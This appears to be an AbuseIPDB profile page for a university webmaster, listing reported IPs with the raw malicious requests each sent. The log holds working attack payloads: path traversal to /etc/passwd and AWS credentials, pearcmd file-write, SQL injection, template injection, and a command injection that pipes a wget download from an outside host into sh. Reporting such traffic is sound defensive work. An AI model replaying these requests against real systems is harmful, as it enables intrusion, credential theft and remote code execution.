KuhA - AbuseIPDB User Profile

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User KuhA , the webmaster of hth.med.kyushu-u.ac.jp, joined AbuseIPDB in July 2023 and has reported 1,406 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇺🇸 47.77.182.54	14 May 2026	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇫🇷 57.128.74.124	13 May 2026	GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd	Web App Attack
🇺🇸 107.173.140.41	10 May 2026	GET /backupmgt/localJob.php?session=fail;wget	SQL Injection Web App Attack
🇹🇼 220.130.62.54	30 Apr 2026	GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j=\jelly\%20xmlns:g=%27glide%27><g:evaluate>gs ... show more GET /login.do?jvar_page_title=<style><j:jelly%20xmlns:j=\jelly\%20xmlns:g=%27glide%27><g:evaluate>gs.addErrorMessage(13371337);</g:evaluate></j:jelly></style>&jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(13371337);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E show less	SQL Injection Web App Attack
🇯🇵 37.120.210.155	22 Apr 2026	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession	Web App Attack
🇭🇰 114.134.185.148	20 Apr 2026	GET /export/classroom-course-statistics?fileNames[]=../../../../../../../etc/passwd	SQL Injection Web App Attack
🇺🇸 9.169.124.21	15 Apr 2026	GET /surveys/?s=XKFE60X66B	Web App Attack
🇳🇱 46.151.178.13	13 Apr 2026	"PROPFIND / HTTP/1.1"	Hacking
🇷🇺 82.147.88.98	13 Apr 2026	Repeated and persistent hacking attempts	Hacking Brute-Force
🇺🇸 165.154.36.91	13 Apr 2026	Attempt to connect to a private server	Hacking
🇯🇵 172.104.74.45	12 Apr 2026	GET /?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--	Web App Attack
🇨🇳 123.125.21.150	24 Mar 2026	GET /?id=1%20and%201=1	SQL Injection
🇨🇳 180.76.172.156	01 Mar 2026	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇸🇬 139.99.124.59	02 Feb 2026	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇵🇱 149.50.97.184	22 Jan 2026	GET /pms?module=logging&file_name=../../../../../../~/.aws/credentials&number_of_lines=10000	Web App Attack
🇹🇼 220.130.62.51	22 Jan 2026	GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession	Web App Attack
🇩🇪 130.12.180.19	12 Jan 2026	"GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=\|wget%20http%3A//1 ... show more "GET /view/systemConfig/management/nmc_sync.php?center_ip=127.0.0.1&template_path=\|wget%20http%3A//130.12.180.19/router.ruijie.sh%20-O-%7Csh\| HTTP/1.0" show less	Web App Attack
🇧🇪 130.211.68.143	12 Jan 2026	GET /?qtrxaalf=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&vsfegcdv=UNION+SELECT+ALL+FROM+inf ... show more GET /?qtrxaalf=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&vsfegcdv=UNION+SELECT+ALL+FROM+information_schema+AND+%22+or+SLEEP%285%29+or+%22&trkqxohr=..%2F..%2Fetc%2Fpasswd show less	SQL Injection
🇸🇦 104.28.231.231	04 Jan 2026	GET /wp-content/plugins/chopslider/get_script/index.php?id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))A)	Web App Attack
🇨🇳 115.190.179.151	07 Dec 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇭🇰 119.8.38.74	30 Nov 2025	GET /phpmyfaq/index.php?search=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini&submit=Search&action= ... show more GET /phpmyfaq/index.php?search=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini&submit=Search&action=search show less	Web App Attack
🇪🇹 196.188.187.189	19 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇭🇰 43.251.17.236	18 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Web App Attack
🇳🇱 46.21.85.75	16 Nov 2025	GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\ ... show more GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\hi\));?>+/tmp/index1.php show less	Brute-Force Web App Attack
🇧🇬 85.11.167.3	12 Nov 2025	GET /locales/locale.json?locale=../../../pterodactyl&namespace=config/database	Web App Attack